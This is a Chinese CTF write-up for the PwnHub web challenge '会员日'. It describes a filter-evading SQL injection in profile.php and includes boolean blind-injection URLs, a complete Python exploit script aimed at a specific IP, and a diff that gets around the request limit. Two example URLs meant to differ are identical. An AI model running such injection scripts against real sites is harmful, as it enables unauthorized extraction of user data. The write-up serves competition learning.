美文网首页Ethical HackersCTF
[PwnHub](Web)会员日

[PwnHub](Web)会员日

作者: 王一航 | 来源:发表于2017-10-31 08:43 被阅读377次

    1. admin/admin 登录可以发现提示 , 下载源码
    image.png
    1. 白盒审计 , 发现 profile.php 的 id 参数可以注入 :
    image.png

    但是这里是有限制的 :

    if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id)){
        die('<h3>danger character dectected</h3>');
    }
    

    不能使用 '_' : 也就是说不能使用 information_schema
    不能使用括号 , 也就是不能用函数
    那么明注应该是不可以了 , 所以考虑基于 Boolean 的盲注

    # 字符串 'a' 小于 'admin'
    # 因此显示 'a' 的结果
    http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
    
    # 字符串 'b' 大于 'admin'
    # 因此显示 'admin' 的结果
    http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
    

    可以直接盲注 , 只要不出现括号和下划线即可
    但是需要注意的两点 :

    1. profile.php 访问 140 次后当前用户的兑换码就会被重置 , 因此要将盲注脚本控制在 140 次之内
    2. 兑换码由 '1234567890abcdefghijklmnopqrstuvwxyz' 打乱顺序组成 , 而不是生成的随机字符串 , 也就是说 , 其中不会有重复 , 这一点可以用来减少盲注的猜解次数 , 最后事实证明 , 大概最短的猜解次数为 139 次 , 真心佩服出题人 , 精准打击
    

    Exploit

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # Author : WangYihang <wangyihanger@gmail.com>
    # Comment : 由于每次兑换码不同 , 因此有可能出现 140 次跑不出来的情况 , 所以需要多跑几次
    
    import requests
    
    session = requests.Session()
    
    def login(username, password):
        url = "http://54.223.59.178/index.php"
        session.post(url, data={"username": username, "password": password})
    
    def check(url):
        # print "[+] %s" % (url)
        content = session.get(url).content
        if "尝试次数过多" in content:
            exit(1)
            pass
        else:
            print "[+] 访问次数 : %d" % (int(content.split("您已经访问")[1].split("次")[0]))
        return "This is admin page" in content
    
    chars = "0123456789abcdefghijklmnopqrstuvwxyz"
    
    def exploit(length):
        global chars
        data = ""
        for i in range(length):
            LEFT = 0
            RIGHT = len(chars)
            P = (LEFT + RIGHT) / 2
            while abs(LEFT - RIGHT) > 1:
                # print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
                guess = "%02x" % ord(chars[P])
                # url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,0x''' + data.encode("hex").replace("0x", "") + guess + ''',3,4,5%20from%20users%20order%20by%202'''
                url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,2,3,0x''' + \
                    data.encode("hex").replace(
                        "0x", "") + guess + ''',5%20from%20users%20where user=0x61646d696e order%20by%204'''
                if check(url):
                    RIGHT = P
                else:
                    LEFT = P
                P = (LEFT + RIGHT) / 2
            if len(chars) == 0:
                return
            ch = chars[P]
            data += ch
            chars = chars.replace(ch, "") # 根据不重复的特性  , 将已经得到的字符删除 , 增加命中几率
            print "[+] Data (%d) : %s" % (len(data), data)
    
    def main():
        # login("lilac", "lilac")
        login("admin", "admin")
        exploit(0x40)
    
    if __name__ == "__main__":
        main()
    

    备注 :

    有大佬说 , 这里的 140 次的限制是可以绕过的
    可以用别的用户名来构造盲注脚本
    

    测试了一下发现确实可以 , 唉 , 思路还有有点僵化

    image.png

    这里判断 session 中的用户的 count , 然后修改的该用户的兑换码
    所以我们只需要控制 id 即可控制得到的兑换码是哪个用户的 , 例如 id=2 为 admin
    所以我们只需要新注册一个用户 , 登录并这个用户注出别的用户的数据即可
    可以将上面 exploit 稍作修改即可 , 以下为 diff 文件

    17c17
    <         exit(1)
    ---
    >         # exit(1)
    50,51c50,51
    <     # login("lilac", "lilac")
    <     login("admin", "admin")
    ---
    >     login("lilac", "lilac")
    >     # login("admin", "admin")
    

    后记 :
    想了想为什么要取 140 次 ?
    应该是和二分查找的时间复杂度有关

    http://blog.csdn.net/frances_han/article/details/6458067

    我们知道二分查找的时间复杂度为 log 以 2 为底 , n 的对数 , 其中 n 为搜索空间的度量
    在这里也就是这个字符集 :

    1234567890abcdefghijklmnopqrstuvwxyz
    

    每次查找都可以确定能找到一个字符
    那么每次字符集的数量就减少 1
    那么最终的平均尝试次数可以根据如下公式 :

    $$\sum_{i=1}^n log_2(n)$$
    

    好吧 , 简书不支持 LaTex

    image.png

    So talk is cheap, show me the code

    In [1]: import math
    
    In [2]: def times(length):
       ...:     return (math.log(length, 2)))
       ...: 
    
    In [3]: result = 0
       ...: for i in range(36, 1, -1):
       ...:     result += times(i)
       ...:     print "[+] %f" % (result)
       ...:     
    [+] 5.169925
    [+] 10.299208
    [+] 15.386671
    [+] 20.431065
    [+] 25.431065
    [+] 30.385261
    [+] 35.292152
    [+] 40.150133
    [+] 44.957488
    [+] 49.712375
    [+] 54.412815
    [+] 59.056671
    [+] 63.641634
    [+] 68.165196
    [+] 72.624627
    [+] 77.016945
    [+] 81.338873
    [+] 85.586800
    [+] 89.756725
    [+] 93.844188
    [+] 97.844188
    [+] 101.751079
    [+] 105.558434
    [+] 109.258873
    [+] 112.843836
    [+] 116.303268
    [+] 119.625196
    [+] 122.795121
    [+] 125.795121
    [+] 128.602476
    [+] 131.187438
    [+] 133.509366
    [+] 135.509366
    [+] 137.094329
    [+] 138.094329
    

    相关文章

      网友评论

      • _Deen:二分查找😁当时没怎么考虑算法 出题人有心了

      本文标题:[PwnHub](Web)会员日

      本文链接:https://www.haomeiwen.com/subject/xdjjpxtx.html